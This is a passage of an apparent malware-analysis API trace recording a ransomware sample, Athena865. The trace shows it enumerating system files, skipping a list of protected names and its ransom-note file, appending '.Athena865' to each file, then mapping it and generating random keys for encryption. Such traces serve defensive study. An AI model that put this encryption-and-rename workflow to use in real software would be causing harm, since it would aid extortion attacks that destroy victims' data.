Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo.Athena865") returned 113 [0100.199] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.200] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8000FFCD-1DA9-461E-A8A6-B9C248869570}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8000ffcd-1da9-461e-a8a6-b9c248869570}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.200] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.200] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.201] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.201] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.201] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.203] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.203] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.204] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.204] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.205] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x8178b040, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x8178b040, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x818235c0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", cAlternateFileName="{8002C~1")) returned 1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2=".") returned 1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="..") returned 1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="windows") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="temp") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="boot") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.205] lstrlenW (lpString="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo") returned 56 [0100.205] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo" | out: lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo") returned="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo" [0100.205] lstrlenW (lpString="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo") returned 56 [0100.205] lstrlenW (lpString="Athena865") returned 9 [0100.205] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.205] lstrlenW (lpString=".dll") returned 4 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.205] lstrlenW (lpString=".lnk") returned 4 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.205] lstrlenW (lpString=".ini") returned 4 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.205] lstrlenW (lpString=".sys") returned 4 [0100.205] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.206] lstrlenW (lpString="{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo") returned 56 [0100.206] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo.Athena865") returned 113 [0100.206] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8002c55b-b05c-402e-b80d-41cead61f984}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8002c55b-b05c-402e-b80d-41cead61f984}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.206] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8002c55b-b05c-402e-b80d-41cead61f984}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.207] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.207] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.207] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.207] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.208] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.209] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.212] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.213] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.213] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.214] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x8cfb9680, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0x8cfb9680, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0x8d182700, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", cAlternateFileName="{8002C~2")) returned 1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.214] lstrlenW (lpString="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo") returned 56 [0100.214] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo" | out: lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo") returned="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo" [0100.214] lstrlenW (lpString="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo") returned 56 [0100.214] lstrlenW (lpString="Athena865") returned 9 [0100.214] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.214] lstrlenW (lpString=".dll") returned 4 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.214] lstrlenW (lpString=".lnk") returned 4 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.214] lstrlenW (lpString=".ini") returned 4 [0100.214] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.214] lstrlenW (lpString=".sys") returned 4 [0100.215] lstrcmpiW (lpString1="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.215] lstrlenW (lpString="{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo") returned 56 [0100.215] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo.Athena865") returned 113 [0100.215] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8002c55b-b05c-402e-b80d-41cead61f984}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8002c55b-b05c-402e-b80d-41cead61f984}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.215] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{8002C55B-B05C-402E-B80D-41CEAD61F984}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{8002c55b-b05c-402e-b80d-41cead61f984}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.216] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.216] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.222] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.222] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.223] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.224] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.225] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.225] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.225] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.226] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe717ea0, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0xe717ea0, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0xe7b0420, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", cAlternateFileName="{90696~1")) returned 1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2=".") returned 1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="..") returned 1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="windows") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="temp") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="boot") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.226] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.226] lstrlenW (lpString="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo") returned 56 [0100.226] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo" | out: lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo") returned="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo" [0100.226] lstrlenW (lpString="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo") returned 56 [0100.226] lstrlenW (lpString="Athena865") returned 9 [0100.226] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.226] lstrlenW (lpString=".dll") returned 4 [0100.227] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.227] lstrlenW (lpString=".lnk") returned 4 [0100.227] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.227] lstrlenW (lpString=".ini") returned 4 [0100.227] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.227] lstrlenW (lpString=".sys") returned 4 [0100.227] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.227] lstrlenW (lpString="{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo") returned 56 [0100.227] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo.Athena865") returned 113 [0100.227] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{9069688d-befb-4294-b8a6-15447e1f812d}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{9069688d-befb-4294-b8a6-15447e1f812d}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.228] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{9069688d-befb-4294-b8a6-15447e1f812d}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.228] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.228] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.229] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.229] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.229] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.231] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.233] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.234] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.234] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.235] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x14d00c80, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0x14d00c80, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0x14e31780, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", cAlternateFileName="{90696~2")) returned 1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.235] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.236] lstrlenW (lpString="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo") returned 56 [0100.236] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo" | out: lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo") returned="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo" [0100.236] lstrlenW (lpString="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo") returned 56 [0100.236] lstrlenW (lpString="Athena865") returned 9 [0100.236] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.236] lstrlenW (lpString=".dll") returned 4 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.236] lstrlenW (lpString=".lnk") returned 4 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.236] lstrlenW (lpString=".ini") returned 4 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.236] lstrlenW (lpString=".sys") returned 4 [0100.236] lstrcmpiW (lpString1="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.236] lstrlenW (lpString="{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo") returned 56 [0100.236] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo.Athena865") returned 113 [0100.236] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{9069688d-befb-4294-b8a6-15447e1f812d}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{9069688d-befb-4294-b8a6-15447e1f812d}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.237] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{9069688D-BEFB-4294-B8A6-15447E1F812D}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{9069688d-befb-4294-b8a6-15447e1f812d}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.237] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.237] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.238] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: 